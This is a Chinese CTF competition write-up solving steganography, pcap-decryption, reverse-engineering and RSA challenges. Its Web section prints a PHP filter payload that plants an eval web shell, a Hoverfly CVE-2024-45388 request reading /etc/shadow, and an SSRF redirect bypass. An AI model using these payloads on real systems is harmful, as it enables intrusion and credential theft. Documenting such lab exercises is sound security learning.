Misc

大赛宗旨

记事本打开,一眼零宽隐写

B 神工具一把梭,得到一串 base 编码

base64 解码得到 flag

flag 值:flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}

esab

根据题目 esab 可以发现这正是 base 的逆向,所以可以先逆向一下给出的字符串

然后解 base,和今年御网杯那道题类似,使用特定的网站解 base62

得到一串 base64 编码的文本,使用工具 basecrack 尝试一把梭

解了一个 base64 和一个 base91,得到的文本又像是 base62,再次 base62 解码,得到 flag

flag 值:flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}

ezpng

将 password.txt 的内容放入 cyberchef 解密,得到一个密码 cimbar

flag.png 放入 010 查看,发现文件头尾都不对,尝试发现是异或得到的字符串 cimbar

使用 cyberchef 把图片异或回去,得到一张正常的 png 文件

网上找到一个项目,提取出 cimbar 图片里隐藏的文本,项目地址如下

1
https://github.com/sz3/cimbar

下载下来,将图片放到同一目录,使用如下命令,即可得到 flag

1
python -m cimbar.cimbar 111.png -o myoutputfile.txt

flag 值:flag{c06ff653-d96e-4c59-9667-655a8a18862e}

so far so good

谷歌搜索,发现是国外某比赛的原题,赛名 OliCyber.IT 2024,wp 如下:

1
https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/master/2024-nazionale/misc03.md

利用 wp 上给出的脚本,有些地方不适配,稍微修改下脚本,运行得到 flag,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sys

KEYSET = 0x74
NONCESET = 0x11
STORE = 0xC1
RESET = 0xB8
ACK = 0x14
ERROR = 0xFF

streams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")

for p in cap:
try:
i = int(p.tcp.stream)
streams[i] += bytes.fromhex(p.data.data)
except:
pass
cap.close()

stream = streams[0]

kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')


def read():
global stream
s = stream[0]
stream = stream[1:]
return s


class Message():
def __init__(self) -> None:
self.code = None
self.param = None
self.len = None
self.data = None

def read(self):
self.code = read()
self.param = read()
self.len = read()
self.data = []
for i in range(self.len):
self.data.append(read())

def handle(self):
global KEY, IV, cipher, keyset, nonceset, cipherset
if self.code == KEYSET:
for i in range(32):
KEY[i] = self.data[i]
keyset = True
cipherset = False
elif self.code == NONCESET:
for i in range(8):
IV[i] = self.data[i]
nonceset = True
cipherset = False
elif self.code == STORE:
if not keyset or not nonceset:
return
if not cipherset:
cipherset = True
cipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))
dec = cipher.decrypt(bytes(self.data))
for i in range(self.len):
FLAG[10 * self.param + i] = dec[i]
if -1 not in FLAG:
print(bytes(FLAG))
return True
elif self.code == RESET:
KEY = [0] * 32
IV = [0] * 8
keyset = False
nonceset = False
cipherset = False


_stream = stream[:]
for ki in kidxs:
for ni in nidxs:
if ki > ni:
continue

print('key index:', ki, '\tnonce index:', ni)

KEY = [-1] * 32
IV = [-1] * 8
FLAG = [-1] * 40
keyset = False
nonceset = False
cipherset = False
cipher = None

try:
stream = stream[ki:]
m = Message()
m.read()
m.handle()

stream = stream[ni - ki - 35:]
m = Message()
m.read()
m.handle()

while len(stream) > 0:
ni = stream.index(NONCESET) if NONCESET in stream else 99999
si = stream.index(STORE) if STORE in stream else 99999
next_idx = min([ni, si])
stream = stream[next_idx:]
m = Message()
m.read()
if m.handle():
break
except:
print('Exception')
pass
stream = _stream[:]

运行结果如图所示,得到 flag

flag 值:flag{0h_usb_0v3r_1p_i5_s0_c00l_567c08e6}

Web

fillllll_put

源码如下:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){
$content=$_GET['content'];
file_put_contents($filename,'<?php exit();'.$content);

}

经典的伪协议绕过死亡 exit(),网上有很多参考文章

payload 如下:

1
?filename=php://filter/convert.base64-decode/resource=shell.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

访问 shell.php,成功解析

使用蚁剑连接一句话木马,连接成功

根目录没有,在根目录下的/tmp 目录翻到 flag.txt

flag 值:flag{89166828-7120-42be-966c-820fc46d74a6}

hoverfly

打开是一个 Hoverfly 的界面

网上找到一个 CVE,Hoverfly 任意文件读取漏洞(CVE-2024-45388),复现文章如下:

1
https://blog.csdn.net/qq_38154820/article/details/142891049

burp 抓包,修改数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PUT /api/v2/simulation HTTP/1.1
Host: 114.55.67.167:50463
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}

成功读取 /etc/passwd,可以读取任意文件

翻遍了没找到哪里有 flag,var/log/syslog 记录了系统级别的日志信息,包括系统启动、服务启动和停止、内核消息、硬件错误、软件错误等,在日志里得到提示 see see /tmp/fa1g

访问 /tmp/fa1g 文件得到 flag

flag 值:flag{57a4de14-9151-4554-b36a-b12dfc79c2d3}

ssrf

进入页面,提示查询网站,根据题目名字 ssrf 知道肯定是读内网文件

先扫一下有什么文件,发现 flag.php

直接读取 127.0.0.1 下的 flag.php,提示无效的 url

可以使用域名重定向绕过,找到如下域名,测试可以绕过

1
http://wifi.aliyun.com/flag.php

成功读取到 flag

flag 值:flag{980a8f2f-00c6-4e60-8468-9b44a948df44}

Reverse

babyre

首先通过 sub_401050 提示输入flag,并通过 sub_4010C0 读取最多32字节的输入到 v23。

输入被分为两部分:前16字节存储到 v26。后16字节存储到 v24。

前16字节解码:

使用硬编码目标值 v6 的前四组数据作为目标(共4个整数)。

对解密后的数据还原高低位交换(调用 sub_401130 的逆向逻辑)。

TEA加密逆向:根据代码分析 sub_4012B0 是TEA加密的部分,需要实现解密逻辑。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdint.h>

// TEA解密函数
void decrypt(uint32_t* v, uint32_t* key) {
uint32_t delta = 0x61C88647; // Delta常量
uint32_t sum = 0 - 32 * delta; // 初始化sum
uint32_t v0 = v[0], v1 = v[1];

for (int i = 0; i < 32; i++) {
v1 -= ((v0 >> 5) + key[3]) ^ (v0 + sum) ^ ((v0 << 4) + key[2]);
v0 -= ((v1 >> 5) + key[1]) ^ (v1 + sum) ^ ((v1 << 4) + key[0]);
sum += delta;
}

v[0] = v0;
v[1] = v1;
}

int main() {
// 密钥
uint32_t key[4] = {
0x00001266, 0x00003404, 0x0000562A, 0x000078C2
};

// 密文
uint32_t enc[4] = {
0x369A1583, 0x009A9E6D, 0xBE761C60, 0x3ED644A0
};

// 对密文分块解密
decrypt(enc, key); // 解密前两部分
decrypt(enc + 2, key); // 解密后两部分

// 输出解密后的结果(大端序)
printf("Flag: ");
for (int i = 0; i < 4; i++) { // 遍历解密后的432位整数
for (int j = 3; j >= 0; j--) { // 大端序输出每个字节(高位字节在前)
printf("%c", (enc[i] >> (8 * j)) & 0xFF);
}
}
printf("\n");

return 0;
}

后16字节解码:

从目标值 v6 的后四组数据中提取目标(共4个整数)。

高低位交换逆向:调用 sub_401130 的逆向逻辑。

凯撒密码逆向:对替换的字符使用偏移量为 -3 的逆操作。

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def reverse_byte_order(data):
"""高低位交换"""
return [
((x >> 24) & 0xFF) | ((x >> 8) & 0xFF00) |
((x & 0xFF00) << 8) | ((x & 0xFF) << 24)
for x in data
]

def reverse_caesar_cipher(data, shift=3):
"""逆凯撒密码,shift是偏移量"""
result = []
for ch in data:
if 'A' <= ch <= 'Z':
result.append(chr((ord(ch) - shift - 65) % 26 + 65))
elif 'a' <= ch <= 'z':
result.append(chr((ord(ch) - shift - 97) % 26 + 97))
else:
result.append(ch)
return ''.join(result)

# 硬编码的目标数据
v6 = [
916067715, 10133101, -1099555744, 1054229664,
1685154385, 1816750188, 1416384356, 1814110589
]

v19 = v6[4:]
v19 = reverse_byte_order(v19)
cipher2 = ''.join([chr((x >> (8 * i)) & 0xFF) for x in v19 for i in range(4)])
plain2 = reverse_caesar_cipher(cipher2)

print(plain2)

两端 flag 都已经拿到了,直接拼接两段,得到完整 flag

flag 值:flag{ZhuangBiWoRangNiFeiQiLai!!}

Crypto

Ezrsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import *
from Crypto.Util.Padding import *

def generate_prime(bits=512):
return getPrime(bits)
def generate_rsa_key(bits=512, e=9):
while True:
p, q = generate_prime(bits), generate_prime(bits)
n = p * q
if GCD((p-1)*(q-1), e) == 1:
d = inverse(e, (p-1)*(q-1))
return n, e, d
def encrypt_message(message, e, n):
return pow(message, e, n)
def decrypt_message(ciphertext, d, n):
return pow(ciphertext, d, n)
def main(flag_text=b"flag{*******************}", num_keys=9, bits=512, e=9):
FLAG = bytes_to_long(pad(flag_text, 64))
n_list = []
c_list = []
for i in range(num_keys):
n, e, d = generate_rsa_key(bits, e)
n_list.append(n)
c = encrypt_message(FLAG, e, n)
c_list.append(c)
assert decrypt_message(c, d, n) == FLAG
print("n_list:", n_list)
print("c_list:", c_list)

if __name__ == "__main__":
main()

看到e=9,以及九组密文c和模数n,挨个爆破

Ci=pow(m,e,Ni) i=1,2,3,….,9

对list_n和list_c遍历爆破

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import gmpy2
import math
from Crypto.Util.number import long_to_bytes


def merge(a1, n1, a2, n2):
d = math.gcd(n1, n2)
c = a2 - a1

if c % d != 0:
return 0

c = (c % n2 + n2) % n2
c = c // d
n1 = n1 // d
n2 = n2 // d
c *= gmpy2.invert(n1, n2)
c %= n2
c *= n1 * d
c += a1

global n3
global a3
n3 = n1 * n2 * d
a3 = (c % n3 + n3) % n3

return 1


def exCRT(a, n):
a1 = a[0]
n1 = n[0]
le = len(a)

for i in range(1, le):
a2 = a[i]
n2 = n[i]

if not merge(a1, n1, a2, n2):
return -1

a1 = a3
n1 = n3

global mod
mod = n1

return (a1 % n1 + n1) % n1


def exCRT_getequation(a, n):
a1 = a[0]
n1 = n[0]
le = len(a)

for i in range(1, le):
a2 = a[i]
n2 = n[i]

if not merge(a1, n1, a2, n2):
return -1

a1 = a3
n1 = n3

return (a1, n1)


# 示例数据
n = [...] # 请替换为实际的n值
c = [...] # 请替换为实际的c值

m9 = exCRT(c, n)
m = gmpy2.iroot(m9, 9)[0]
print(long_to_bytes(m))

flag 值:flag{25f028f3-5362-4d1d-ab16-ae65503e447f}

Madoka Runes

搜索题目,发现图形加密方式,魔女文字,对比得到压缩包密码ctf951zhen,从而得到flag

flag 值:flag{f393e6c7-b150-6ecd-0458-c8f38363cb3e}